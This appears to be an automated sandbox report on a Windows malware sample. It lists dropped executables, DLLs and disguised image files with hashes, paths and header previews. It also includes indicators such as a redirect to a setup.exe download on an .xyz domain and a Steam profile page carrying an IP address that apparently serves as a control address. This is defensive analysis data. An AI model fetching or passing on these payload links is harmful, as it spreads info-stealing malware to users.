Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\setup[1].htm

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.319668710078847
Encrypted:	false
SSDEEP:	6:pn0+Dy9xwol6hEr6VX16hu9nPXyLV4SiKRzeZAUyBFEcXaoD:J0+ox0RJWWPC5zlwAULma+
MD5:	F101A8E9EF053725710718F476A12140
SHA1:	5EA293E77279620D3E64B61B07DA74226846E537
SHA-256:	B9FAF7DE0991054C690B9941913845E4976DE96A05997E5A434F5FB346771715
SHA-512:	8CD8D280009F3A314AF04083456D76298D0132EBF9C5E439AC3E3242547740A3E68D8722B32A65F335545359238ADAFAB23342638F1C681111047AF6CE6D12C3
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>301 Moved Permanently</title>.</head><body>.<h1>Moved Permanently</h1>.<p>The document has moved <a href="https://f.123654987.xyz/525403/setup.exe">here</a>.</p>.<hr>.<address>Apache/2.4.55 (Unix) Server at monoblocked.com Port 80</address>.</body></html>.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\76561199689717899[1].htm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (3063), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	35682
Entropy (8bit):	5.380893956901654
Encrypted:	false
SSDEEP:	768:s7pqLtWYmwt5D0gqOaiNGA7PzzgiJmDzJtxvrfukPco1AUmPzzgiJmDzJtxvJ2Sg:s78LtWYmwt5D0gqOac7PzzgiJmDzJtxk
MD5:	898C9469F389410031A67A38EDC22DF0
SHA1:	59BE52FEA231CA90D209F5B9871FFAE80C5C0CD1
SHA-256:	BB148B52860EF58973FE4EF60F151AA0A3DE0C0AE0723496698457066D910F45
SHA-512:	8F85F567F2F1EE4A5820581C0F278226F360967848F8FD65D1EF1684DD09553CE2297553D297976D92CF9E758C521F56107651F2C9EA861D5F707B68F4AD6419
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="en">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>Steam Community :: r0is https://65.109.242.59\|</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=english&_cdn=cloudflare" rel="stylesheet" type="text/css" >.<link href="https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=english&_cdn=cloudflare" rel="stylesheet" type="text/css" >.<link href="https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=E0c90DJSB6Ld&l=english&_cdn=cloudflare" rel="stylesheet" type="text/css" >.<link href="https://community.cloudflare.steamstatic.com/public/css/globalv2.cs

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\Default12_s[1].exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4788376
Entropy (8bit):	7.794934808730968
Encrypted:	false
SSDEEP:	98304:nARk0N6xqmVRfHYh5O5TEPOIdnnnrA47BSGg0gts3fY:AGQ6Xb0WUxnrA4NOs3f
MD5:	22F5F177EE04B3AC13DF5A778A5D3C1E
SHA1:	338F6D135FD9BC81E864B635449D42D2C3093D0A
SHA-256:	F9B248763B1475633064C13B63AD6DA16578DAF75640BB92F0E7E0764877E2A8
SHA-512:	EBDA00DE52267384ADCB88E49751D9137EC1D7DFF213FB2153D0F05C0656E97534AF24F8C3319E7237757B0087B717EE5AF265EA221C3D74D0847E02A1A1F85C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 32%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....iLf...............'.............oJ...........@...........................\|......BI...@.................................Lin.@....`o..-............H..t...Po..............................Ej. ...p@o.@............ O.....(>j.@....................text.............................. ..`.rdata..2~..........................@..@.data...0I...P......................@....vmp...K..........................`..`.vmp..@X>...0..Z>.................`..`.reloc.......Po......^>.............@..@.rsrc....-...`o..8...d>.............@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\aaaaaaaa[1].jpg

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\AcFckZYSxYVwMhatLa6qbSBF.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85", baseline, precision 8, 600x800, components 3
Category:	dropped
Size (bytes):	1314921
Entropy (8bit):	7.705012462230789
Encrypted:	false
SSDEEP:	24576:tgu8Ycd7q6zHe/+tAtact/WP5s6VVg7kiTYD20Z0Jzmlr7hKg91h+N4VdxGtHKaO:r8Bu6jeTAcNmspkiTYh2zmlr7hT91hoG
MD5:	9D96CB461C523A26D3A91875A15C7E2D
SHA1:	C79420E9D5FE1AC549538CB610F8B673D3165F4C
SHA-256:	601D955F08A497A66EB78EC6BB8BA1E9576D612D7E69A8D469CAA1E18185256A
SHA-512:	FE93E4A3FE4BD8C1E4AFA49FE9DDDC407E57C9339E513ABBA7686428CA5B2A07E1B0195BF15A8CB549935B4310FF89B6232E5EFBE0F03D33EAE85C6B6F624ABB
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85....C..............................................!........."$".$.......C....................................................................... .X.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....(...(...(...(...(...(...(...........:.2.C$0)..%..!....2.\........l.&;........2G.Z..r85...+....l.' +D.P9..b..R..2.....r^(...+.=....U.uy=...E.+. ....,.2#_..9..d.{..(.b.....;SHA.Q.....E..t..Z?...E-...R..P.QK.Q@.E-%..R.%.(c2K"F..1....+.o.x}$1E.Ey7x.......1..15..../.j..4......`..n.Y...J..zu.....R?.....m..L.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\file2005[1].bmp

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
File Type:	data
Category:	dropped
Size (bytes):	744964
Entropy (8bit):	7.822972859211005
Encrypted:	false
SSDEEP:	12288:OVCN4yKMZKx0P8YmCaytUe7q1jOIVudMir1TZKdOQtuFUlRLMdCDjMqnzmfkGO:Og4ynZcYmCx2yq1jdxitEptu2lyUjMKb
MD5:	46F8D5A6DBC6F4D9CA7F1712B7C326B8
SHA1:	E973D113051193C56DA2B14CCBDB36CAC6CD2499
SHA-256:	F68404DAB2F17E48765A872FFEFFA4CE6D40F8C281131FF4F859AC608EBD863D
SHA-512:	08D0A437AEB2CEF3FC02B7E606C75A9C49A218547E38ADA1DE8C5EB9178540F54F79242EF35DC6312F98BB2E98698B0898926AFE60694D4D7CF9364BB194CC21
Malicious:	false
Reputation:	unknown
Preview:	..fUXO......................................................................4..Y.4A}\|f5egzrgtx5vt{{za5wp5g`{5\|{5QZF5xzqp;...1........]...<..<..<..n..<..n$.;<..n%.<..DW.<..<...<....!.<..n..<......<..G\|v}.<..........................EP..Y...unHp............................c(.......5.................................................................................)....................................................................m...............5..E...........................;apma...6...........................5..u;gqtat..G~...5...y......................;qtat...........-...i..................;gfgv...............................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\setup294[1].exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3034354
Entropy (8bit):	7.95197520239667
Encrypted:	false
SSDEEP:	49152:c5EoOmm8dI9SF7M8CPXicfcpoTHNLLx/whRveR9IK3stlcz3z9IYKGg:4EoO4501vJLLqh8RGK3schILGg
MD5:	7F3DB034A3FE2B644C9A48635C9543D5
SHA1:	87D4B623EE25DB943944C815DC4BD99E3670F3D1
SHA-256:	3DECFD6DE910DC419EDDE569DE24901A3AB42568D3FA942A652EACA710674EC2
SHA-512:	4A579D3B493D8CBC46A3DE6249CE8FF428970A76D0B6FD00E0D83774E850773BEAC9D80836D1586CC5646A2CC8E4C37E7AC7CD4C616F31F88B2DE77AAAE11F09
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......v..p2.b#2.b#2.b#.E.#?.b#.E.#..b#.E.#.b#...#0.b#..f"!.b#..a".b#..g"..b#;..#9.b#;..#5.b#2.c#,.b#..g"..b#..b"3.b#...#3.b#..`"3.b#Rich2.b#........................PE..L.....]e...............!.............b............@..........................p............@.........................@m..4...tm..P....P..`....................@......5..T....................6......X...@....................a.. ....................text.............................. ..`.rdata..............................@..@.data...............p..............@....didat.......@......................@....rsrc...`....P......................@..@.reloc......@...,...h..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\setup[1].exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7613155
Entropy (8bit):	7.996883889707963
Encrypted:	true
SSDEEP:	196608:91OPz8PbQZI8ho5NGolWFwAwXG19bvb/Z7mDTSLMLOuJ3QWaZQvt:3OPYTQXhwzG1VDMDeSOuHaZSt
MD5:	D1FBE0562396E6981A68818E4DA997F1
SHA1:	482EFD0B116F416BBB69EC5BFCB18F58B88CAB21
SHA-256:	6C6F2F1374114EFA39616883003E96EF53C4916C35DD8E8D32AB37E755A49150
SHA-512:	0831470338EAB04D2F7B43634B12410BA720B8A81AA25A87664B1EDDBE9048CA0740ADDB7D543F59091309321589A1A360A355EFE205DD86C7FDACDEB164F7AF
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\xxxxxxxx[1].jpg

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\AcFckZYSxYVwMhatLa6qbSBF.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1080x1440, components 3
Category:	dropped
Size (bytes):	389194
Entropy (8bit):	7.927615507427045
Encrypted:	false
SSDEEP:	6144:Bjx+yOxRU3RaMDYgJBbrasGi3+EX4eEZat6+K0ZzNJ7O8346oqvpuoV0mBa1+:SnMaEt+i3+dZa1K0ZzNJ7O83nMmi+
MD5:	3200DC4E4F84ECA82267063AA1055D0C
SHA1:	9E634FADAA76AFC35B7D040E32AAF2911EEAD364
SHA-256:	60EB602D492C656CBCC7BDB8A2520BE9815C4A5F1E21D0435CC2B60819970240
SHA-512:	FBE9218E8656390AF05084188E1959E50BB06F3BA8C6374B854F26F103A6EBFBF8ABAF446E0DFFCD3C4B80B1D7759A8E8BED352E1D3916256657103C3BC0294B
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.............C....................................................................C.........................................................................8............................................c.........................!.."1A.2Q.#BRaq3br............$4CS...c....%s.....&5DTd..'6EUet....7F.....................................>......................!.1.A..."2Qa.#3q..B....$4...C.DRr.b..............?....{.e..#y.\|..,....P.b...?...'(..+....#.....B....:,9=.o5..,.b...M:,rP.w....<.C1......&.....lP....OrP.rZ....P,M.y"...,.....@X..oD..@;: ,......$...P.p.....pg....:.<.......;...8..B.......)..,........a.. ..!.!0..r.P.......f.....O..t...o.'...[.....o`h..4.m\|,..G....<<0@.?.F.*R7Sd...e.@.._.@...j..FGy.,..{..0.X..6.h7...E..wF..r..nl.Yp....o....j`..T...Y].7.m.J.a....g..@..,..<L.TD.Ra...u.....BS.\......+><{N8.rA....G..#....n.....F......\|#.;....Bs..n6....a..\|..5d...g..\|.w.4...}...I\|....S..>........aRW;~g..y.I4_)....)...(v.w.............]2.k}>P...^...\|..=.c.u...V

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\TWO[1].file

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	3.990387966645919
Encrypted:	false
SSDEEP:	48:65uxic/UNMSAjItYiA254tdqlkCuFCpfbNtm:cc9jItYbaC+zNt
MD5:	F328A95046E3A2514C36347EAEC911C0
SHA1:	8EC9C18384CA1E08A397BF7B3D46B6D784669EF0
SHA-256:	D55E86610DCAD29C3D2857D9DAE91AA51228B1FA001EA2D7BDA88B9A2B5570A9
SHA-512:	2FC3621433C5DA3DCB5B9D9133CD9D63D8F53FD60C81DDAB8B83BAD60EFB98942FC38A63DFA98EDFC8358C8E4E345A7EC8FA3AA14C18D4337CDD90EA0AED4718
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 53%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."...0..............&... ...@....@.. ....................................@..................................&..O....@.......................`.......%..8............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................&......H.......\ .................................................................(......BSJB............v4.0.30319......l.......#~..,...H...#Strings....t.......#US.x.......#GUID...........#Blob...........G..........3..........................................x...............Z.....!.....,.....I.................A...........&.....`.....5.................{.....@.........................A.....P ........#...R ................;...................).....1.....9.....A.....I.....Q.....Y.....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\crt[1].exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5534755
Entropy (8bit):	7.99902269292672
Encrypted:	true
SSDEEP:	98304:mI2mEPfoW/irnHM8gsuXA12b9Da3Vjn+Iqza5ZwOipaHOqx7jdBo730nBr/d:/2lPfoA8nHosuXG2l0Vqzie3pyO4jdKq
MD5:	335426382C8B11C43B441E478F4E743E
SHA1:	16F874AC07D23869AAAB5650FCF6F480E1147E44
SHA-256:	0E0F2DD13D5DCBE1BEDD80D32C24BB1E9F003C902259BFB0BFD51A5299994EAA
SHA-512:	E800D3C25563E32BB584EC31CDC39BA2D82CBC4FCADCC617141E021EDA1AA579F0E0C46008910D40144CDB5E140EFE812B9DB59ABBFD360DEFAD32AC4BE90608
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................F......$.............@..........................@...................@..............................P........,..........................................................................................................CODE....D........................... ..`DATA....L...........................@...BSS.....H................................idata..P...........................@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc....,.......,..................@..P.............@......................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\gewgdggrwh_20240521161330[1].bmp

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
File Type:	data
Category:	dropped
Size (bytes):	80900
Entropy (8bit):	6.015685534458922
Encrypted:	false
SSDEEP:	1536:hwqO1iqpNL3j/be40l3ZUAt3+0dXngDAYbqp8rAw0Fr/db+9X:WLbNL3Pj236AF+0dXqqpUAjzZ+9
MD5:	D2D86D809838DE2C03DBE2143FFE3F25
SHA1:	E742D2363DCE48EC2AA06ECF4AE5F09A567C5BAC
SHA-256:	245FBD2FD7DA4B6DC07E3A5E5BE0656D449213D99B668FB9F1A5E62D585D4405
SHA-512:	2CAA07185B532F2D6932805F0A26D4C8FBD755A62F274E15E88EB39138F31E1F54E62141559A8D33B02973F846AC8AFF2F38E4EC5134EDBD702E2E1AECD989E0
Malicious:	false
Reputation:	unknown
Preview:	..fUXO......................................................................4..Y.4A}\|f5egzrgtx5vt{{za5wp5g`{5\|{5QZF5xzqp;...1.......EP..q.....<...........7...%..!...............5...........5....................................u..........................5...............................u...............................F..-............................................................5..]...........;apma....&...5...!..................5..u;gfgv........u.......#..........................................................].......54...............8...3...........................................%..Y.......=....=.....k......\|5......=..........\|=U.........=....=....a....z.....=....?..=....?.k....8.g...e.....=....z....f.........k....?.k....?.......?C=....g"..ek....z....?.k....?..=....?Cf....=....a.........?..WF_W............c!;%;&%&$,......y.......6k..I.......6Fag\|{rf....A...)...6@F.........6R@\Q...........6Wyzw...........BU.U.......&........4.......................U...................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\lumma2305[1].exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	468480
Entropy (8bit):	7.707638639777151
Encrypted:	false
SSDEEP:	12288:8fUVPK8c9FHGovaqSdUgGe2floqIIxuSyovf4CzBIG6Dac:RK/9F1vaqbeeloqII4SHv3OG6j
MD5:	F14B083F53FEFD0071732BF5C0DCD6FA
SHA1:	661566E9131C39A1B34CABDE9A14877D9BCB3D90
SHA-256:	2A7B010296F77BC811CDB2802DC11B7DA7E486A3C7CDBB6B2783B12B828BD57D
SHA-512:	889804F0872D7882EB9160EA4B0EF7E86079006965B988BB5426F36CB2B9B354F03C411759FF74D91905EAA67B88EA5F11BE76B5F0F4F47B8AA9B53FCB9FBCDF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......I../...\|...\|...\|..}...\|..}...\|..}...\|..}...\|...\|V..\|.l.}...\|.l.}...\|.l.}@..\|.o.}...\|.o.}...\|Rich...\|........PE..L....yOf...............'.............F............@..........................p............@.................................DY..(............................P.......?...............................>..@...............@............................text...$........................... ..`.bss................................ ..`.rdata..x...........................@..@.data...d....p.......>..............@....reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\lumma2305[2].exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	468480
Entropy (8bit):	7.707638639777151
Encrypted:	false
SSDEEP:	12288:8fUVPK8c9FHGovaqSdUgGe2floqIIxuSyovf4CzBIG6Dac:RK/9F1vaqbeeloqII4SHv3OG6j
MD5:	F14B083F53FEFD0071732BF5C0DCD6FA
SHA1:	661566E9131C39A1B34CABDE9A14877D9BCB3D90
SHA-256:	2A7B010296F77BC811CDB2802DC11B7DA7E486A3C7CDBB6B2783B12B828BD57D
SHA-512:	889804F0872D7882EB9160EA4B0EF7E86079006965B988BB5426F36CB2B9B354F03C411759FF74D91905EAA67B88EA5F11BE76B5F0F4F47B8AA9B53FCB9FBCDF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......I../...\|...\|...\|..}...\|..}...\|..}...\|..}...\|...\|V..\|.l.}...\|.l.}...\|.l.}@..\|.o.}...\|.o.}...\|Rich...\|........PE..L....yOf...............'.............F............@..........................p............@.................................DY..(............................P.......?...............................>..@...............@............................text...$........................... ..`.bss................................ ..`.rdata..x...........................@..@.data...d....p.......>..............@....reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\niko[1].exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3140096
Entropy (8bit):	7.991925992203975
Encrypted:	true
SSDEEP:	49152:C5T9OVJvD7NiQZS6tWYlDfqv19jsnUiyidIz1lQRtOXY9hzQgKBfpfMc6slxVuOZ:CHO3vcFA1fSjsnUiyXYR/mBfhMc6slxF
MD5:	43B0FD4A4213AA702E6BB8E8B67A9E2B
SHA1:	2A1EAF3F5176E62A9AF9FDDBBE20163246E4C43F
SHA-256:	0554227F93F8E1E94A53EA0BE12EBC775EC0D0A02C38818E06271EE11528BC9E
SHA-512:	19B6C145B824609B72942E95FC9FD367858151310A0D1298214C8CF5D01F9A38B9927D3E19952483E63ED1FE4C023A8F67C5A06FD92E8E5F5E8C61466B2E1018
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......j.....s...s...s.e.p.%.s.e.v...s.e.t./.s..y..*.s..yw.=.s..yp.4.s..yv.u.s.e.w.6.s.e.u./.s.e.r.5.s...r...s..zz.2.s..z../.s..../.s..zq./.s.Rich..s.................PE..L....iLf...............'.....\|....................@.......................... ............@... .. .... .. ..........PP......L_.......`..4...................0P...............................P.......................................................................<..................@........................@..............@............P...P.......B..............@............ ...........J..............@....................b...J..............@....rsrc.... ...`......................@..@..........x......(..................@....data.....".. ....!.................@...................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\oiii[1].exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	228864
Entropy (8bit):	6.12511745585131
Encrypted:	false
SSDEEP:	3072:tneBqhy5aVLOwqI8sgwoEHXfwaNUM+/ORSs5G2Ms4f6TFZbhgvbUxzJ8Y:tETlsgOfDt+/V6JQO98
MD5:	3955AF54FBAC1E43C945F447D92E4108
SHA1:	53C5552C3649619E4E8C6A907B94573F47130FA4
SHA-256:	E6DE332AD778F7A7CF160EFA60656C3AC960DC77806905493D5CFFE58EE1DE16
SHA-512:	FA028A040A5F075296AEBAB7F63A59B6CBBA32EE0964DFC08768396CC012FF5D861191E2478914D79D4A424C3BBA110505A58B97376C44C716F0B1EA70551037
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 46%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......7...sto@sto@sto@!.lA{to@!.jALto@!.kAoto@z..@ato@..nAzto@stn@.to@..jA~to@..mArto@Richsto@........PE..d...A%"^.........."......r..........`;.........@....................................)7....`..................................................o..........0...........................0&..T....................'..(....&..................h............................text....q.......r.................. ..`.rdata..D............v..............@..@.data................f..............@....pdata...............t..............@..@.rsrc...............................@..@.reloc...............v..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\sqls[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	2459136
Entropy (8bit):	6.052474106868353
Encrypted:	false
SSDEEP:	49152:WHoJ9zGioiMjW2RrL9B8SSpiCH7cuez9A:WHoJBGqabRnj8JY/9
MD5:	90E744829865D57082A7F452EDC90DE5
SHA1:	833B178775F39675FA4E55EAB1032353514E1052
SHA-256:	036A57102385D7F0D7B2DEACF932C1C372AE30D924365B7A88F8A26657DD7550
SHA-512:	0A2D112FF7CB806A74F5EC17FE097D28107BB497D6ED5AD28EA47E6795434BA903CDB49AAF97A9A99C08CD0411F1969CAD93031246DC107C26606A898E570323
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
